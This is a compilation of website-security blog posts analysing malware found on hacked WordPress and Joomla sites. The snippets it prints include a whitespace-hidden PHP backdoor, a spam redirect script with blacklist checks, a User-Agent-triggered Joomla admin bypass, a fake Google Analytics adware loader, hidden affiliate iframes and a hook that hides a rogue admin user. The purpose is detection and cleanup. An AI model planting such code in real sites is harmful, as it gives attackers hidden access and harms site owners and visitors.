Hiding malicious code from the user using white...

Over the years, attackers have used different techniques for hiding malicious files on websites. They obfuscated code, changed legit functions to execute malware, modified whole core files to execute their malicious activity and much more.


In this article, we’ll describe a simple way of hiding malware from non-experienced webmasters that are using text editors which do not wrap long lines of code. Instead of injecting complex and obfuscated code, attackers simply added white spaces in the beginning of the file. The snippet in question follows (please notice the scroll bar at the bottom):

At first glance, the file looked pretty normal. Upon further inspection, we noticed that there was a code shifted within 598 whitespace characters on the first row containing the following content:

<p

$x8 = "x63x68x72"; $E7 = "x69x6ex74x76x61x6c"; $Qb = $x8($E7("x31x30x31")).$x8($E7($x8($E7("x3….

In this particular case, the attacker hid a heavily-encoded PHP backdoor into the file. There are different attacks using this very same technique, such as, SEO Spam Injections, Credential & Credit Card Stealers, and others.

If you suspect any malware activity on your website and at first glance you cannot find anything suspicious, we recommend checking for modified files. If you are not comfortable to modify files and the database yourself,  you can rely on the Security Engineers at https://sucuri.net to clean and protect your website.

Checking blacklisted domains or IP for spamming

Often times we will encounter websites that have been injected with a redirect and these can vary from blackhat SEO tactics for boosting domain rankings all the way to phishing pages trying to steal login credentials. In this case, the redirect was contained within random alphanumerically named PHP files and it redirected visitors to the specified files and then to a pharmacy spam website that contained all of the drug names that you will commonly see in your emails located within your spam folder. This seems to indicate that the attacker was spamming from other third-party servers and within the pharmacy spam email they would include the URLs to the malicious file on our client’s web server. Let us analyze parts of this malicious file:


if($_GET['mod']){if($_GET['mod']=='0XX' OR $_GET['mod']=='00X'){$g_sch=file_get_contents('http://www.google.com/safebrowsing/diagnostic?output=jsonp&site=http%3A%2F%2F'.$_SERVER['HTTP_HOST'].'%2F');$g_sch = str_replace('"listed"', '', $g_sch, $g_out);if($g_out){header('HTTP/1.1 202');exit;}}}header('Location: http://[malicious domain]/');

The payload that is delivered to an unsuspecting visitor is a browser redirect in the form of the ‘header’ PHP function to a malicious domain. This same malicious file with the redirect will be placed on multiple websites that have been compromised already, then the attacker will direct traffic via hyperlinks in the outgoing spam emails to the compromised websites hosting the malicious file with the redirect. The goal of the attacker is to try and trick spam filters by using legitimate websites that have been compromised and contain the malicious redirect instead of using their actual pharmacy spam website within the spam email. If they did include their pharmacy spam website URL directly in the outgoing spam emails, then it would not be long until the spam filters (i.e Spamhaus) blacklist the entire domain name of the pharmacy spam website.

Another problem is that if the compromised websites, or their hosting IPs, become blacklisted then it will be detected by spam filters and also prevent delivery of the spam email due to them containing blacklisted content.

This means that the hacker will want to be able to regularly check upon the referring websites that contain the malicious redirect file and determine whether they have become blacklisted or not. In this specific malicious file, the blacklist checks were triggered through a $_GET request to the malicious file with a specified URL parameter. After such a request is received, it will trigger the PHP file to use the file_get_content function to obtain the output of the text version of Google SafeBrowsing Diagnostics page.  

if($_GET['mod']){if($_GET['mod']=='0XX' OR $_GET['mod']=='00X'){$g_sch=file_get_contents('http://www.google.com/safebrowsing/diagnostic?output=jsonp&site=http%3A%2F%2F'.$_SERVER['HTTP_HOST'].'%2F');

Once a compromised referring website shows as blacklisted, or its hosting IP shows as blacklisted, then the hacker can stop redirecting from that domain or IP to prevent any negative impacts on their targeted domain.

As mentioned earlier, there are usually many compromised websites being used to refer/redirect to the targeted domain, and so to be efficient along with automating tasks; the attacker will then create a cron job or other scheduled task to send the $_GET request to the malicious file and based upon the returned HTTP code they will be able to determine whether the website or hosting IP address has been blacklisted. If it returns a 202 HTTP code when the cron job executes the $_GET request with the necessary URL parameter, then that means it is blacklisted by Google. Often times these cron jobs will output the results of the $_GET request into a file so it can be monitored over a period of time, but by default the cron job will send an email to the configured email address after each time the cron runs. Below is an example of such a cron job that runs every minute and stores the specific numerical HTTP code from the $_GET sent to the malicious redirect file on the compromised website:

# crontab -l* * * * * curl -sD - "http://localhost/malware.php?mod=00X" | grep HTTP | awk '{print $2}' > /tmp/http.txt

The following coding excerpt from the malicious redirect file shows how the script will immediately exit/terminate if it responds to a $_GET request with the HTTP code 202, which means there is a blacklisting active:

$g_sch = str_replace('"listed"', '', $g_sch, $g_out);if($g_out){header('HTTP/1.1 202');exit;}}}

The automated blacklist checking helps the attacker by allowing them to avoid sending their spam emails with blacklisted domains or blacklisted IP addresses as they are well aware that this curtails upon their redirect success rate.

RealStatistics Goes TrafficAnalytics

In the last few months, our Incident Response Team detected an interesting malicious code that affected a high number of websites. This malware is a variation of the "Realstatistics" campaign described in details in our blog here and although the code is extremely simple, the damages are devastating.

The following snippet is being injected into the theme files (mostly header.php) and database (wp_posts).


<script type='text/javascript' src='hxxp://js[.]trafficanalytics[.]online/js/js.js'></script>

The malware behavior is consistent with the "Realstatistics" but with a little twist and so far, it seems to be focusing only on WordPress installations. This campaign also aims to redirect visitors to inadvertent sites hopping through different addresses and landing in another page promoting specific products or content that generate more revenue to the attackers.

Here is the connection flow during some tests:

Landing on the following page:

During the investigation of several infection scenarios we identified a vulnerable file being removed from almost every cleaned site: searchreplacedb2.php. Although the name may vary, it was placed on the site's root directory and could be used by any visitor with the link, or with the right Google dork.

This tool was coded back in 2009 to help site owners to search and replace content in their database. However, the tool doesn't have any security feature, allowing anyone to load the wp-config.php info and connect to the database.

As soon as connected, the user can select one or multiple tables and perform a search/replace in order to fix something on their site or to inject some malicious content.

We weren't able to identify any patterns on what the attacker searches and replaces on the infected sites, because of that, cleanup requires double attention. Also, if you use such third party tools on your server, make sure to delete them immediately once you finish the task you uploaded them for.

If you are experiencing such redirects, this could be the reason why and we highly recommend checking your site against our free scanner Sitecheck.

Joomla admin login bypass – set your UA...

Every day we analyse hundreds of new malicious files. Some of them are simple backdoors, injected iframes, or one liner defacements.

Another type of malware, equally interesting, are the ones that interact with authentication interfaces. These malicious codes may allow attackers to log-in with a particular set of bogus credentials or completely circumvent security measures implemented to prevent unauthorized access to the back-end.


In this note, I will describe how an attacker cleverly hijacked core functions of the Joomla CMS to connect to the database of the website, select user with specific privileges and bypass the authentication mechanism based on an User Agent.

As we mentioned above, the condition for the bypass to happen is if they use a specific User Agent when performing the request:

$ref = $_SERVER['HTTP_USER_AGENT'];$keywordsRegex = "/AtOPvMzpDosdPDlkm3ZmPzxoP/i";if (preg_match($keywordsRegex, $ref)) {

The file can remain under the radar as it has no base64 encoding or any other obfuscation inside. It uses standard core functions, normal SQL query and no fuzzy strings.

The bypass itself is pretty straight forward - it calls the "JPluginHelper::importPlugin('user');" core function and scans the database for the "Super Administrator" user role in the "usertype" column of the "users" table. It also takes into account the Joomla version due to some changes in the authentication mechanism:

if (version_compare(JVERSION, '1.6.0', 'ge')) {       $result = $mainframe->triggerEvent('onUserLogin', array(array('username' => $result->username), array('action' => 'core.login.admin')));   } else {       $result = $mainframe->triggerEvent('onLoginUser', array(array('username' => $result->username), array()));   }

If the above SQL query returns valid results, it prints that the operation was successful and the attacker have successfully logged in to the compromised Joomla website:

Print 'Joomla Login Successful.';

The match string is used by several Web shells on the Internet. Its even used for so called WordPress root kit so it is good idea to scan your files for the UA match string and remove any files that have it inside, or if you are unsure what to do you can trust the Security engineers at https://sucuri.net/ for checking, clearing and protecting your website from malicious code.

Fake Google Analytics tracking code leading to Adware

Our Incident Response process makes sure we remove all malicious files and other small pieces of code inserted in good files that could be used to re-gain access to the environment. These pieces of malware could be very easy to detect based on encoding level, obfuscation, suspicious functions and few other variables. Some malware, on the other hand, try to hide themselves in plain sight by using regular PHP or JavaScript functions or pretending to be an authority they are not.


In this post, we’ll describe an issue where attackers injected an interesting script resembling the Google Analytics Tracking Code that leads to Adware. Once the website is compromised with this type of infection, the site displays the following Popup with Adware:

In order to load those popups, attackers injected the following snippet into a theme file:

<!-- Google Analytics --><script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticObject']=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=0;a.src=g;m.parentNode.insertBefore(a,m)})(window,document,'script','hxxps://google-analytics[.]ga/analytics?a8','qa');qa('create', 'UA-F1284271354829RWJ3RT', 'auto');</script><!-- End Google Analytics -->

As you might have noticed it, the domain "hxxps://google-analytics[.]ga" doesn't belong to Google and pretends to load the correct one "hxxps://google-analytics[.]com/ga.js". The domain is protected by a whois proxy service (Stichting OpenTLD WHOIS Proxy).

We detected the following domains were used in the redirect chains:

  • google-analytics[.]ga
  • hxxps://trafficome[.]ga/ga
  • hxxps://m1ii[.]ml

The code is usually injected on the footer of the current theme because it will be loaded every time the website is accessed.

Amazon Affiliate Cookie Stuffing

We wrote a lot about malware in invisible iframes. This story is about a different type of invisible iframes that hackers may place on your site.

As you know, many large ecommerce sites have affiliate programs that allow third-party publishers to send traffic their way in exchange for commission on purchases. Amazon.com is the most well known example of a site with a public affiliate program. Millions of sites participate in it. As many other such sites, Amazon realizes that people referred to their store via affiliate links may not immediately make a purchase. Some of them need time to think, compare prices on other sites, research alternatives, etc. Still Amazon wants to acknowledge the role of the affiliate if the referred visitor returns to the Amazon later and makes the purchase then. Technically, it is done by placing an affiliate cookie on the visitors computer for a certain period of time (in case of Amazon it’s 24 hours); and if that particular user buys anything from Amazon before the cookie expires, the affiliate who referred them is eligible for some commission.

Sometimes we find hidden amzn.to iframes on hacked sites.


<iframe src="http://amzn.to/REDACTED" style="visibility: hidden;"></iframe>

Amzn.to is the Amazon’s URL shortener based on Bitly technology. It’s the only URL shortening service that affiliates are allowed to use if they want to shorten their affiliate links.

What happens when an amzn.to link is opened in an invisible iframe on a compromised site? When visitors open a web page, behind the scenes their browser opens a full Amazon page for some product (along with all images, scripts, styles, etc.). And of course, the attacker’s Amazon affiliate cookie is placed on the visitor’s computer. If that visitor buys something from Amazon in the following 24 hours, the hackers will get a commission for that order.

Given that Amazon is one of the largest online stores on the Internet, the chances that some of the visitors will actually buy something from Amazon are quite high. Now it’s just a "big numbers" game. All the attackers should do is maximize exposure of the pages with their injected invisible affiliate iframes. The more sites they compromise the bigger commission they’ll receive from Amazon (sure, unless Amazon detects the cookie stuffing scam and blocks the affiliate accounts).

While this hack is not [technically] dangerous for the site visitors (we don’t count the slow page loading and extra resources required to load whole Amazon pages in the background) and it’s not as annoying as unwanted pop-up or redirects, it shows that any websites are a valuable resource for bad actors who are constantly inventing new ways to abuse them.

If you need to clean or protect your site, please check our Website AntiVirus service.

Hooking WordPress Class to Hide Malicious Users

When a website is compromised, attackers perform post-exploitation tasks to  maintain  access to the site for as long as possible. One of these actions is usually the creation of admin users to remotely control the site or automate the creation or distribution of spam content. Unfortunately (for them), it’s really easy to detect and remove these fake users and they have to find and execute new techniques to actually hide them. During an investigation, we found a small piece of code inside the file "/current_wp_theme/functions.php" that caught our attention:


<?phpadd_action('pre_user_query','yoursite_pre_user_query');function yoursite_pre_user_query($user_search) {  global $current_user;  $username = $current_user->user_login;
 if ($username != 'admina') {    global $wpdb;    $user_search->query_where = str_replace('WHERE 1=1',      "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where);  }}

Basically this code is being used as a Hook for the action “pre_user_query”. According to the official documentation,  this action "Fires after the WP_User_Query has been parsed, and before the query is executed" which allows us to actually modify the query of the WordPress core class “WP_User_Query”  on the fly.

In this case, the attacker is using the function  "str_replace()" to replace the original "user_search query"with one of his own, therefore making the malicious admin user "admina" invisible on the WordPress admin area (backend):

WHERE 1=1',      "WHERE 1=1 AND {$wpdb->users}.user_login != 'admina'",$user_search->query_where

If you see malicious posts on your site with an unknown author and you are not able to find the user to remove it, your site may be infected with a similar code. Also, If you have a File Integrity Monitoring system in place, you should be able to detect such changes to the File System and take the appropriate actions to prevent / remediate the infection (remove / re-upload).